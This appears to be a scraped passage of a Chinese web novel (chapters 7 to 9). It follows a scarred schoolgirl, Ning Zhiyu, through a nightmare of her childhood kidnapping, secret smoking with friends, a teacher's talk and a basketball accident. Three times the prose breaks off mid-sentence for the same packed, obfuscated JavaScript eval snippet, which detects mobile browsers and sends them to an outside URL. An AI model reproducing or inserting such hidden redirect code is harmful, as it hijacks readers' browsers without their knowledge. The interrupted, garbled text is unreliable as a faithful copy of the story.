我绝不会……绝不会退缩的。 终于,这个年仅十岁的孩子下定了某种刚烈的决心,当即猛烈地一头往那尖锐的小刀刀锋上撞过去! ——形势如此糟糕,她已经不想拖累自己的至亲了。 “哇!” 要不是那持刀的头目和负责看押宁执玉的另一人在同一瞬间做出了最正确的应对反应,一前一后拉拽,刚好将她和沾血的刀锋分开,她大概会真的被那把刀给当场切开脖子。 几秒后,利仔开口了,他的声音都有点不易察觉的发抖:“大哥,这孩子在找死!” 那戴金链的头目也心有余悸,反应过来后气得将她一把推倒在地,破口大骂道:“臭小鬼!你想死也别拖老子下水——” 趴在地上的宁执玉再也无法忍耐地大哭起来,滚烫的眼泪和脸上伤痕的鲜血混杂在一起,与地上残留的泥水一并涌进她的唇齿间。 头很痛,脸上的刀口像是被火焰灼烧,但她还是对着尚未挂断的视频电话那端大喊了最后一句话。 “妈妈!”这个孩子声嘶力竭地哭喊着说,“跑啊!别管我!!” ………… …… “老宁!宁执玉!嘿,你醒醒!!” 某个耳熟的声音从遥远的梦境那端传来,宁执玉猛地睁开眼睛,她涣散的瞳孔视线花了足足七八秒才完成重新对焦,终于看见了熟悉而压抑的杂物间低矮天花板和趴在旁边满脸惊慌的赵颖。 睡到半夜被身边友人做噩梦的动静给活活吵醒的赵颖正披散着亚麻色头发,满脸疑惑和担忧,她的一只手还抓着宁执玉的肩膀——正是她先前把人强行给摇晃醒过来。 见到宁执玉终于清醒过来,将一双茫然而空洞的视线投射过来,老赵讪讪然地松开手,坐起身:“你好像做了噩梦……在冒汗。” 宁执玉的手有点哆嗦地往脸上一摸,发现分不清这满脸的水到底是冷汗还是眼泪,六年前那起绑架事件所留下的刀疤伤痕在这深夜之时依旧隐隐作痛。 但她还是格外歉意地看向盘腿坐在一旁的朋友:“对不起。吓到你了吗?” 赵颖尴尬地笑了一下,说着不知道真假的台词:“没有没有!赵子璇有时候看了恐怖片后,做起噩梦来哭喊得比你还惨。” 宁执玉再次呆了呆,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088490|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有点迷迷糊糊的:“我喊了?” “啊,没有……反正我没听到。”赵颖也愣了几秒,她终于可以确认这家伙是真的在噩梦里被吓得不轻,往日里迅捷的学霸思维反应居然如此缓慢笨拙,当即再次关切道,“那个,你没事吧?梦到什么了?” 宁执玉一时间没有急着回答,只是缓缓坐起身,用已经湿透的睡衣袖子擦了擦脸上的水,方才答道:“确实是个噩梦——梦见我流离失所地去睡天桥,然后被陈水的冬天给冻死了。” 赵颖顿时无语至极:“喂!” 咱们这个睡天桥的话题就是过不去了是吧? 不过她被老宁这么一逗,也意识到对方其实不想多谈噩梦的具体情况,便很体贴地没再追问什么。 “对不起啊,老赵。”宁执玉有点颓丧地用双手捂着自己的脸,口中再次道歉,却没有看她的眼睛,“我平时很少做噩梦的……” “都说了没关系!我也只是刚好醒过来才发现的。”赵颖安抚性地摸了摸朋友的后背,发现对方的睡衣都湿透了,“宁执玉你快去换身衣服吧,小心等会冻得感冒。” 老宁闷闷地“嗯”了一声,掀开被子翻身下床去找备用的衣物。 很快,窸窸窣窣的脱衣服声音从昏暗的床尾传来,赵颖下意识地看了一眼,只看见若隐若现的肩胛骨轮廓和雪白的皮肤肤色……她赶忙闭上了眼睛。 如果大家此时在商店的更衣室里试衣服,大大方方地互相看对方身体也没什么。但这样深更半夜里,偷偷摸摸地看受到惊吓的朋友是如何脱衣服——赵颖感觉这事儿好像哪里怪怪的,还是别乱看会比较礼貌。 很快,换好衣服出去洗了个脸的宁执玉又摸黑走回来,爬上床,她小声地问赵颖睡着没有。 赵颖:“没有。” 宁执玉:“那我继续睡了。” 赵颖:“……好吧。晚安。” “晚安,你也快睡吧。”老宁说着还隔着被子轻柔地拍拍她的肩头,以示鼓励之情。 不得不说,赵颖略感失望。 亏她强打精神,做好听八卦的心理准备,还以为老宁有什么噩梦心事要跟自己聊聊呢。 结果人家再次入睡的速度比自己还快,简直是沾上枕头就昏迷的程度。 赵颖这么默默地想着,索性背过身去,面对冰冷的墙壁,她听见自己身后传来绵长平静的呼吸声,她的脑子里却回荡着宁执玉先前将自身吵醒的那一声惊呼。 那一刻,宁执玉嘴里喊得分明是…… “妈妈,救救我!妈妈——” ——这背后到底是个怎样的家庭故事呢? 有点好奇的赵颖不动声色地暗自猜测,正因为她与自己的生母关系也非常扑朔迷离,自然而然地会对周围之人的母女关系加以观察和思考。 这么疑惑地想着,她也很快重新睡着了。 7.但求同年 时间不知不觉就过去了三天,在下个周一的时候,前往湖南参加长辈葬礼的周喜回来了。 周喜是个脸颊总是红扑扑的可爱女孩子,值得一提的是她还是个恋爱脑——其他三个朋友这些年的桃花运数量全部加起来都没有她一人的零头多。 一大早,宁执玉走进教室时,正好看见周喜在跟班长黄思源闲聊吹水,大谈湖南见闻,她便特意过去打了声招呼。 “嘿!老宁快来,我给你们几个都带了点湖南特产!”周喜美滋滋地招呼她过去。 宁执玉乖巧地探头并低声询问:“白沙?” “白沙”是一款香烟的名字,主产地在湖南长沙。 周喜睁大眼睛瞪着这货,先是下意识地看了一眼黄思源,发现这个好好先生般的男生装出一副“我啥都没听见”的架势后才骂这个语出惊人的老宁:“这是光天化日之下能说的事情吗!” 哪怕挨骂,宁执玉也是一脸淡然,好像那话不是从她嘴里蹦出来似的。 很快周喜从课桌抽屉底下摸出了几小包不同口味的麻辣小鱼干塞给她:“你尝尝,喜欢的话再来我这儿拿。我那边的亲戚给我们这些小孩每人都买了一大袋的本地零食……” “太好了。”宁执玉虽然是个吃不太惯辣的广东人,但有朋友的零食投喂,她也是很高兴的,“有这几包小鱼干配饭,我又可以多活两天了。” 听闻此言,周喜一把捂住自己的额头:“宁执玉你别把自己说得那么惨啊……我走的这一周里,两位亲爱的饲养员没有好好地投喂你吗?” 宁执玉歪着头思考了几秒,顺手撕开一包小鱼干的包装袋开始嚼嚼嚼:“有啊,但她们在周四那天一拍脑门地私奔了——这不今天才回来嘛。刚才我在楼下,看到她们在老师办公室门口排着队进去挨训。” “我去!”周喜先是大惊失色,紧接着变成怒不可遏的样子,“老王和老赵私奔也不带我俩?我们就这样被无情地弃养了?亏我还大老远地给她们也带了小鱼干,没良心的!” “就是,要狠狠谴责。”宁执玉唯恐天下不乱,补充了两句。 又过了十来分钟后,赵颖和王艺菡跟没事人似的从教室外走进来。 更准确一点来说,是老王一副仿佛翘课之事与她无关,依旧兴高采烈的模样。而赵颖因为前几天脸上被亲爹揍的痕迹尚未完全消肿,外加刚刚被班主任贺老师一通“话疗”教育,现在多少还有点萎靡不振。 她们见到数日不见的周喜后也很高兴,靠过来叽叽喳喳地讲话,无形中把黄思源给挤到一旁。 坐在一旁的空椅子上,宁执玉特意盯着赵颖的左脸颊多看了几秒,确认伤势没有恶化并且的确是明显减轻后方才随手拿起一包没有开封的小鱼干扔过去:“好点没?” ——宁执玉特意没有说得很明确是“脸上的伤”,只是含含糊糊地关心着,因为这个年纪的女孩子们之间多少还是很重视颜面问题的。 “嗯?……哦哦!你说那个呀。”赵颖手忙脚乱地接过这包飞来的零食,冲宁执玉友善地笑笑,“好很多,我自己都快忘了这事儿。” “那就好。” “这鱼干辣不辣?”老赵又问她。 宁执玉扫了一眼鱼干包装的颜色:“问得好!但是泡椒口味的我还没吃……你问周喜,她带来的。具体我也不知道有多辣。” 一听是不知道程度的辣鱼干,这玩意儿捧在手里就跟烫手山芋差不多,赵颖明显兴致缺缺起来,把零食揣进兜里:“那我晚点问清楚后再吃。” “哦,随便你。” 宁执玉也懒得管朋友这种小事,自顾自地回自己的座位开始看错题集。 还是学习比较重要。 不过不知道是不是错觉,宁执玉隐约间感觉好像有谁在瞪着自己……她抬起头循着直觉的方向抽空看了一下,却发现是一位印象里关系不是很熟的初中同学,陆婷。 陆婷是个留着短发的瘦弱女生,个头不算高,戴着一副略显沉闷的黑色粗框眼镜,修剪不善的长刘海多少有点遮住眼睛——以至于显得格外阴郁和自卑。所以哪怕两人是初中同班同学乃至于到了如今的高二阶段,宁执玉对这人的印象也就停留在“认个脸熟”的程度而已。 见宁执玉毫无征兆地突然抬头与自己对视,陆婷似乎受到了惊吓,浑身一颤,连忙转过头去,不再看她。 宁执玉:? 奇怪的同学……她在内心随意嘀咕,再次集中精神看手上的错题集。很快就把这件小事抛之脑后。 不过站在教室过道上的赵颖很快想起另外一件事,扭头跟班长黄思源传达了贺亚红老师的最新指示。 “消防火灾演习?”黄思源傻眼道,“还要占据等会大课间的时间?我怎么没听到什么风声。” “快点通知大家吧,班长,等你听到风声都一会儿上课了。”赵颖懒洋洋地走回自己的位置坐下,开始玩折纸。 黄思源确定赵颖没有开玩笑后就上台宣布此事。果不其然,一听到大课间的时间被占用,同学们纷纷发出哀痛的鬼哭狼嚎。 低头开始修改错题集的宁执玉对周围嘈杂的环境充耳不闻,显然某些学霸已经进入了独有的精神领域中。 很快,这一节课的数学老师走了进来,用教案毫不留情地把一屁股坐在教师讲台上的王艺菡赶下去:“该上课了!都给我回去!” 哪怕老王平时是个很嚣张的人,但对于老师,她还是比较尊敬的,只好一边瘪着嘴一边乖乖滚回自己的位置。 数学课对于宁执玉而言是可以分心的课程,她经常会在数学课做其他科目的笔记或者习题,时不时抽空听一下老师的讲解——这对她来说就足够了。 不同于学渣们宛若听天书那样“阿巴阿巴”的表现,宁执玉经常会产生一种“啊?这道题的解题思路不是看一眼就能浮现出来吗”的微妙疑惑。但她很明智地将这份疑问压在心底,不会随意表现出来。 正如某位科研大佬的发言:人再笨还能学不会微积分吗.jpg 数学老师当然也知道宁执玉的课堂小动作,毕竟站在那个讲台上,底下学生们在干啥其实都尽收眼底……但哪怕她在今年的考试中退步幅度明显,可是最近一次大考的排名都维持在全年级前三十以内,他也就睁一只眼闭一只眼地当作没看到。 而且宁执玉成绩退步的学科也不是数学——这对数学老师来说就够了! 等到数学课结束,下课后,王艺菡就迫不及待地闪现到几个朋友面前,表情神神秘秘的:“要不要去那个一下?” 放下小青蛙造型的折纸,赵颖嘴角翘起:“走。” “等等,等我拿个手机!”周喜慌不迭地站起来,顺手在还忙着在单词本上写东西的宁执玉肩膀上不轻不重地捏了一把,“走了,老宁。” “啊?我也要去吗?”宁执玉不是很情愿出去玩。 双手插兜朝门外走去的王艺菡骤然停下脚步,惊奇地看着她:“宁执玉!你还是不是我们的一份子了?” 老宁面无表情:“不是,我申请退出组织。” “申请驳回!退出无效!”霸道老王不由分说地拉起她的手臂,“走啦走啦,别沉迷学习了……” 宁执玉重重地叹了口气,却还是任由自己被过分热情的小伙伴一把薅走。当然,没有忘带她心爱的单词本。 所谓的“那个”其实就是去“秘密基地”抽烟。 秘密基地位于五楼的楼梯间,学校为了防止有想不开的同学突然以高速自行接近地面的行为,索性在四楼装了个防盗门,日常上锁,只有偶尔需要拿教具和桌椅时才会打开门上去。 不过王艺菡先前就将钥匙从老师办公室里偷出来,给每个人都配了一把同款备用钥匙,自此五楼楼梯间就成了几个人的秘密基地。 对于这事儿,宁执玉的评价是——老王你酷毙了! 这回王艺菡来到秘密基地后率先挑了个台阶坐下,摸出烟盒,给大家散烟,并笑嘻嘻地询问周喜这次回去为什么没带点湖南特色的当地香烟回来。 周喜没好气地回答:“刚才老宁也问这话来着……我妈全程盯着呢,我哪里有空去买当地的‘特产’?” 赵颖随意评价:“那很遗憾了。” 虽然她的语气也听不出有多遗憾。 坐在王艺菡另一侧的宁执玉正盯着手里的自制单词本,她一边略微蹙眉地抽烟,一边专注地记单词。 她平时的抽烟频率和次数虽然没有小伙伴们那么多,但那纯粹是因为……贫穷的高中学生不想把钱花在这方面。 ——就连“朝天门”这种最便宜的都要5块一盒呢! 但倘若有朋友请客来一根的话,宁执玉也不介意的。 吞云吐雾间,有只手突然伸过来,一把抽走了小本子。 “干嘛?”宁执玉的目光顺着本子跟过去,最后落在王艺菡那张大大的笑脸上,当即哭笑不得地问,“你们聊你们的呗,我又不是没在听。” “出来抽烟还在学习?别卷了!我问你,大家还是不是朋友?”手持小本子的王艺菡收起笑容,装作很凶的样子问她,一副要挟人质(单词本)的模样。 宁执玉不解:“那必须啊。” 老王的语气变得危险起来:“哦?那刚刚我们在说什么话题?” 其他两人都饶有兴趣地将目光投过来,宁执玉知道没法蒙混过关了,只好老老实实地说:“老赵今早被一个静灵庭的死神搭讪了,老周在葬礼上认识了一个帅气的表哥,毫无压力地决定脚踩两条……” “停停停!什么叫‘静灵庭的死神’,那人原来是黑崎一护啊?”赵颖自己都惊了。 周喜也辩解着什么“网上的男朋友和现实的男朋友怎么能一样”之类的渣女言论。但没人信她。 宁执玉很无辜地吸了口烟,方才说道:“王艺菡说那个魔术社的神经病夸赞你的‘灵压很高’……下一步你是不是该修炼斩魄刀了?” 赵颖一把捂住脸,无语得要命,但还是忍不住配合这帮二次元,开始胡说八道:“是啊,其实我不准备高考了,我要去学会卍解。” 一时间王艺菡又开始畅想美好未来:“太好了,老赵!以后你当上死神十三番的队长后可别忘了我们这些老朋友哦。” “滚滚滚!还队长呢。一群沙雕。” 赵颖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091292|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭笑不得地挥着手,像是想让楼梯间空气里的弱智指数稍微下降一点。但可能没什么效果。 周喜的目光从腿上的手机挪开,看向宁执玉,满脸惊讶:“不过姐妹你居然还真的会竖着耳朵听我们聊天啊……” 宁执玉得意地竖起大拇指给自己点了个赞:“一心二用可是我的看家本领!” “行,知道你有在一边学习一边抽烟的过程中分心关注我们啦,太棒了,搞得我们好感动呢。”王艺菡笑着说了一些阴阳怪气的嘲讽话语,手上却还是主动把小本子还给她。 见这人这么搞怪,宁执玉的逗人老毛病又犯了,决定逗逗老王。 于是她没有伸手去接单词本,而是故作严肃地说:“我已经记住这个本子上的单词了,你们可以随便抽查来考我。” “OMG!这个学霸只是两天没见就变得这么嚣张吗?” 王艺菡愤愤不平地掀开小本子,翻到第一页,旁边的两人凑过头来一起看着上面清修秀迹的单词,大家一起出谋划策。随后老王兴致勃勃地说:“那先来个简单的,第一页的第一个单词,是什么?” 宁执玉双手抱胸,很自信:“abandon,放弃,丢弃。” “答对了。”王艺菡点点头,然后看向身旁的朋友们:“你们也来刁难一下?” “那必须的。”赵颖也伸手翻了几页,旋即开口,“老宁,第三页的第二个词是?” “abandon,放弃,丢弃。” 三个考官变成了黑人问号脸:? 周喜不死心,又赶忙翻多几页,提问起来…… “还是abandon。”宁执玉忍着笑意一本正经地说道。 “宁执玉你根本就没有倒背如流!你只是单纯在玩弄我们而已!”王艺菡无语地吐槽着,把单词本丢回去。 宁执玉一把接过飞过来的小本子,语气认真解释道:“我说了是‘记住单词’,哪怕只记住了一个都算是‘记住’,我可没说‘倒背如流’啊。” 其余三个人对视了一眼,纷纷看出对方眼里的鄙夷之情。 周喜摇着头重新开始玩手机聊天:“这人玩文字游戏,太坏了。有这功夫我还是继续跟表哥聊天吧。” 王艺菡也趁机谴责:“就是!道德败坏啊你!” 赵颖默默地笑着围观这一幕。 宁执玉抬手将烧了大半截的香烟慢吞吞地吸了一口,脸上露出某种似笑非笑的招牌表情:“没有的事,别乱讲。” “噫……”几个人发出了异口同声的鄙夷声。 接下来大家又随便闲聊了一会儿,主要集中在讨论王艺菡和赵颖上周的翘课行为和后续的一系列事情。 起初周喜听到赵颖回家被老爸打了以后发自内心地替她难过起来,不过很快她听到老赵居然能在宁执玉那个杂物间里住了一晚后立刻表示这事儿不公平!为了这份姐妹情谊,她也得住上一回才行! 一旁的王艺菡听得也连连点头,像是一只快乐小狗,准备去好朋友的房间里肆意拆家一番…… 不是,你们两位住家条件很好的大小姐凑什么热闹啊。 懒得搭理她们的宁执玉这回选择装聋作哑地继续看单词本。 眼看左手食指夹着的那根烟也快烧到最后了,她便略显生疏地将烟头在大理石地板上用力摁了一下,掐灭火光,打算等会儿拿到厕所里冲水扔了。 结果没灭,她疑惑地盯着烟头好几秒,还好赵颖注意到了这点,便主动开口提醒老宁该怎么正确地熄灭烟头。 “哦哦哦!我想起来了。”宁执玉试图用笑容缓解尴尬,“主要是太久没抽,手生。” “没事儿。”赵颖颇为理解地看着她,顺手从口袋里摸出剩下半盒烟,“再来一根?这次抽我的。” 宁执玉正打算婉拒,谁知这个时候,楼梯下方忽然传来第五个人上楼梯的脚步声! 大家顿时吓得炸毛,纷纷以各种行动试图掩盖吸烟行为,就连宁执玉的第一反应也是吓得连忙赶紧先把地上的烟头藏起来。 本以为来人是老师,结果来的是陆婷——那个没什么存在感的瘦小女生。 双方气氛古怪地对视了一眼,正想说点什么缓和氛围,结果那人又如瓜田里的猹般灵活地转身逃跑了,一句话都没说。 剩下的几个人:“……?” 宁执玉目光呆滞地开口:“陆婷不会告诉老师吧?” “难说。我有种不好的预感……”周喜也跟着叹气。 赵颖低声问:“刚才谁最后进来的,没锁门吗?” “我……我忘了。”王艺菡露出了无辜的狗狗眼,试图以此洗脱罪状。 可惜这一招对熟悉她的朋友们毫无用处,周喜更是气得直骂:“你是猪啊!” 王艺菡自知理亏,不敢辩解。 见此状况,宁执玉忽然格外沉重地再次叹了口气,感叹着自己即将如流水般逝去的好学生形象:“其实我突然发现跟你们三个也不是很熟,各位,我先走一步——” “你不许走!给我回来!大家要死一起死!!” 好朋友们七手八脚地把装作要跑路的宁执玉摁回原位。 8.聊聊天 果不其然,在抽烟后的第二天,这几人聚众“干坏事”的事情还是被不知什么人告发到班主任贺亚红那里去了。 教师办公室里,四个人足足挨了15分钟的说教,甚至拖到了占用下一节课的体育课时间。 几个学生被贺老师说得一阵精神恍惚,只感觉有狂风暴雨在迎面扑来……贺亚红还没收了几人身上携带的香烟和廉价打火机。最后她没好气地说:“行了,其他人出去先,宁执玉单独留下再说两句。” 原本昏昏沉沉的宁执玉感觉自己背后的汗毛一下子炸起来:坏了! 三个好朋友立刻向最倒霉的好学生老宁投来格外关怀和同情的眼神,宁执玉看似面无表情地站在原地一动不动,波澜不惊,实则眼神疯狂地发出求救信号:【别走!救救我!别留下我一个人——】 但是大家还是假装没看到那样,一个个夹着尾巴,鱼贯而出地走出教师办公室,在经过宁执玉身边时纷纷投来意味不同的眼神。 王艺菡:【一路走好!】 周喜:【姐妹,你会活下来的吧?】 只有走在末尾的赵颖稍微有点良心:【外头等你。】 ……外头等我有什么用啊?方便一会儿替惭愧而死的我收尸吗。 宁执玉终于绝望了,她硬着头皮看向坐在面前办公椅上的老师,扯扯自己的嘴角,努力让自己看起来更礼貌一点。 贺老师是一位三十多岁的女性,气质温婉踏实,穿着保守得体,鼻梁上架着一副度数不高的金丝框眼镜,整个人的看着就很传统教师的感觉。 但是老宁有点莫名地怕她,因为贺亚红给自己的感觉有点像是印象中的母亲,尤其是贺老师刚刚还在发火…… 不过出乎预料的是,贺老师并没有急着责骂这个平日里的好学生为什么会跟其他几个女生聚众胡闹,她只是苦口婆心地跟宁执玉聊往事。 “宁执玉,你高一入学那会儿是以全年级第一的中考成绩进来的,学校还给你发了好几千元的奖学金,你还记得这件事吗?” 宁执玉咽了咽口水,多少有点儿心虚:“是,我记得的,贺老师。” ——把她这个尖子生挖到六中来也算是那届校领导的政绩之一。所以那笔钱她拿得心安理得,还出了几百请朋友们吃了顿好的,剩下的全存起来了,倒也没有乱花钱。 坐在工位上的贺亚红双手交叠着放在自己的大腿上,愈发无奈地看向这个一脸乖顺的学生:“本来以你的成绩是能进文理科的任何一个重点班。但你为了她们几个朋友,主动选择来我们八班。” “其实对于这个选择,老师个人既替你感到有点惋惜,但同时也很欣慰——我一直觉得你是个非常聪明又自律的孩子,哪怕换了一个相对没那么好的环境,也能保持自己的学习状态,对吗?” “……”,老宁低着头,一声不吭。 如果她否认,那就对不起她过往的好成绩。如果她承认,又该怎么解释近期的退步? 最终贺老师还是问出了那个核心问题:“所以宁执玉,你为什么要跟王艺菡她们一起抽烟?是平日里的学习压力太大了吗?还是近期大考的成绩退步了?……能不能告诉老师?放心,老师会替你保密的。” 宁执玉觉得要是说实话的话,得出卖王某人——算了,老王刚刚才逃出这个办公室,她暂时不把人重新拖下水了。 于是她含含糊糊地点了一下头:“呃,是有点压力。” 然后宁执玉就趁机说了自己二舅最近在抓自己当烧烤店免费苦力的事情,以及上次贺老师的电话家访导致自己再度挨骂等等……其实这些事情对宁执玉来说根本没往心里去,生完气就得了,她纯粹是厌烦每周学习以外的沉重且毫无经济回报的体力劳动。 如果二舅愿意给她发零工的工资,宁执玉说不定还没那么反感干这一周五天的烧烤店打工活计呢。 但贺亚红全程听下来后陷入一阵默然,像是感到难过却又无能为力。 “老师明白了……对不起,没想到那个电话害得你被你舅舅给骂了。”贺老师主动向她道歉。 “没事没事,”宁执玉赶紧回答,“我知道贺老师也是关心和爱护我,都是一片好心。所以我之前一直忍着委屈,没跟您说。” 贺亚红:“……” 看表情她好像更愧疚了。 “抱歉,老师之前不太了解你和你舅家的这个具体情况。以后尽量不会给他们打电话了。”贺老师先是给出一个长期承诺,随后颇为迟疑着问道,“方便问一下,你的父母都去哪里了?” 顿了顿,贺亚红又赶紧补充道:“当然!宁执玉你要是觉得实在难以启齿的话,不说也没关系。” 宁执玉这回是真的沉默了好一会儿,方才低声回答道:“离婚了,都在国外……所以也没人管我。” ——我甚至都不清楚他们是否尚在人世。这是宁执玉没能说出口的后半句话语。 ………… …… 当宁执玉把双手插在校服的上衣口袋里走出教师办公室时,突然感受到掌心因为先前紧张而出汗的黏腻感,这令她稍微放松了点。 办公室外的走廊上,周喜她们三个人正或趴或站地待在不远处,一边晒太阳一边闲聊,见到她过来,顿时兴奋地围过来。 “没事吧,老宁?”赵颖率先问道。 一旁的老周:“豁,四肢俱全,人还活着呢。” 宁执玉给周喜翻了个白眼:“老周你说句人话好吧,什么叫‘四肢俱全’?” 周喜对朋友犯贱成功,当即变得笑容可掬:“嘿嘿。” 王艺菡也很亲切地一把勾住她的脖子,凑过头来小声问道:“贺亚红没为难你吧?” 宁执玉神色不变地摇摇头,又特意看了一眼楼梯间的方向:“没呢。下去再说吧。” 哪怕老王胆子再大,也不敢在教师办公室门口直接骂老师。她听到这个提议当即挑眉:“好。走吧……我的体育课啊!都没了!” 说到后面,她已经变成了毫不掩饰的哀嚎了。 等几个人来到操场找到自己所属的班级群体后,发现都已经进入“自由活动”时间,而剩下不到20分钟,好像也搞不了什么正儿八经的体育活动了。所以大家索性找了一处相对阴凉僻静的地方继续猫着,同时继续讨论着被老师约谈的这事儿。 在来的路上,宁执玉已经选择性地大致讲完自己是如何跟贺亚红老师单独谈话的内容了——反正都是劝学向善的那一套,听得其他人昏昏欲睡,再也没有继续打听八卦的心思。 说来说去,几个学生此时还是更关心具体是谁乱打小报告。 “所以到底是谁去举报的?可恶啊。还害得‘东西’被老师没收了!” 周喜和王艺菡一阵讨论,将嫌疑人锁定在同班的陆婷和钟静雅身上。宁执玉对此漠不关心,反正有八卦名侦探二人组负责推理就行,她则是掏出单词本继续开始看起来。 只有脸盲症发作的赵颖一会儿问“谁是陆婷”,一会儿又问“谁是钟雅静”…… “陆婷就是昨天跑到五楼的那个女生。”周喜解释,“钟雅静嘛,是个中分一字眉的社会姐。” 赵颖恍然大悟:“哦!说长相我就想起来了。” “嗯?这人有多社会?”王艺菡故作惊讶,摸了摸一旁宁执玉的肩膀,“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104266|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们宁老板那么满脸杀气吗?” 周喜仔细看了看她,感慨地摇头:“我看远远不及啊。” 脸上有一道刀疤的老宁没好气地拿手拍掉了王艺菡的爪子:“你们两个再烦我,我就摇一车面包人来打你们!” 几个人顿时都笑了。 其实刚开始也没谁敢拿宁执玉脸上那道疤来开玩笑,怕她动怒。 直到大家发现老宁有时候都会以此自黑讲地狱笑话或者假装不是好人地去恐吓熊孩子后……朋友之间偶尔也会以此开玩笑了。 宁执玉也不生气,经常配合着一起演起来。 大伙儿这才意识到老宁虽然总是看起来神色不善,但实际上挺大度和具有奇妙幽默感的一个人。 赵颖说钟雅静好像之前霸凌过其他人,还把那人逼得退学了,可比咱们热爱学习的老宁坏多了……周喜也连连附和,表示自己在厕所听八卦时也听过别人这样讲。 王艺菡很无语:“难怪你每次去厕所都那么久。原来都是听八卦去了。” 她们两个旋即嘻嘻哈哈,将原本生活与学习中的不快乐都抛之脑后,赵颖笑着看着这一幕发生,又转头看看正在闭着眼睛无声背单词的宁执玉,她不禁再次陷入无聊的发呆中。 “对了,老王。”赵颖想起了什么,扭头看向王艺菡,“你给我买个杀鸡的皮肤作为补偿吧。” 王艺菡这回更加无可奈何,连眼睛都稍微眯起来一点,注视着赵颖片刻后方才叹了口气:“行行行,补偿你哈。” 周喜很是吃醋:“买什么?为什么只给她买?!” 宁执玉也一下子睁开眼,目光炯炯有神:“什么皮肤?这附近有富婆在发钱吗?” “这里没有富婆,也没有发钱!”王艺菡先是吐槽老宁对于找富婆的奇怪执念,然后对周喜说道,“老赵上周跟我出去翘课,不是被她爸打了嘛……如果你也被你家里揍,我也给你买,怎么样。” 周喜犹犹豫豫的,但又很想要新皮肤,因此说道:“那……我先买个复活甲?” “请问没有父母的同学可以报名参加本次活动吗?”宁执玉也探头过来问。 王艺菡大为窘迫:“这种时候就别讲地狱笑话啦!” 老宁笑而不语。 ——真正的地狱笑话爱好者是连自身都能自黑的存在。 “行啦!都买!”王总为了博妹子们的欢心而一掷千金,非常大方,“你们三个一人一个新皮肤。可以吧?” “好耶。”大家都喜笑颜开起来。 赵颖也笑了,旋即她询问大家以前有没有养过狗。 气氛突兀地安静了几秒,宁执玉在专心看单词本,其他两人则是对视一眼,最后只有王艺菡回答道:“养过啊,怎么啦?” “我妹,赵子璇,她这几天一直嚷嚷着要养狗。估计被哪个同学给刺激到了。”赵颖无奈地垂下眼眸,盯着地上的裂痕说着这有点烦心的少女心事,“其实我在想,就算买回来也是阿姨和我来照顾……” 在这一瞬间,宁执玉忽然像是本能般地松开了原本举在面前的,那个心爱的单词本。在任由它跌落下去的同时,她神情极度专注地往前面的空气径直出拳! 坐在斜对面的王艺菡甚至看清宁执玉那条手臂的校服长袖在一瞬间被充斥的空气骤然吹鼓起来,旋即这布料又慢慢贴落回去。 砰! 一个不知从何处飞来的篮球像是长了眼睛那样,在飞过来的过程中,“刚巧”撞在宁执玉的拳头上,被她这毫无征兆地一拳给打飞出去! 它改变了飞行弧度,高高地越过几个同学的脑袋上方,撞到了更远处的操场健身器材才停下。 9.麦门穷鬼 宁执玉先前就说过,她非常擅长一心二用地做事情。 最重要的是,每件事情都能做好。 因此哪怕是在露天大操场上坐着闲聊外加抽空背单词的间隙里,她也没有停下自己那堪称强迫症的时刻观察周围习惯……这也令她在最短的时间里听见有风声是如何逼近而来的,从而做出近乎本能的判断与反应。 在出拳击中之前,宁执玉甚至没意识到飞过来的东西原来是一个篮球。她本以为是足球或者羽毛球之类的玩意儿。 意外发生得太突然,大家都傻眼了,直到飞出去的那个篮球落地滚动了几圈才有人回过神来。 赵颖本人更是吓得冷汗“唰”一下子冒出来了。因为通过目测,刚才那个篮球的飞行轨迹貌似是要砸中她脑袋的…… 一片寂静之中,宁执玉尽量装作若无其事地低头去捡自己的单词本,伸出去时却发现手有点不受控制地颤抖。好不容易捡起来的单词本又重新跌回去。 “妈呀,老宁!你感觉怎么样?” 王艺菡一把扑过来抓住宁执玉的手腕,几人这才发现她的手背处有一大片皮肤已经被磨破,伤口迅速出现发白到泛红的颜色变化,然后开始渗血出来,一滴一滴地跌落在地上,模样非常渗人。 周喜双手捂着脸吓得尖叫:“血!你受伤了!” “……啧。” 宁执玉倒是没有那么慌乱,她反而神色漠然地看着自己这只正在流血的手,表情与其说是生气或者惊异,倒不如说像是在看一件有点麻烦的事情那样。 其实在受伤的那一刻,她的脑海中没有任何异常感觉,肾上腺素的激增已经在瞬间压过了痛楚的感知。 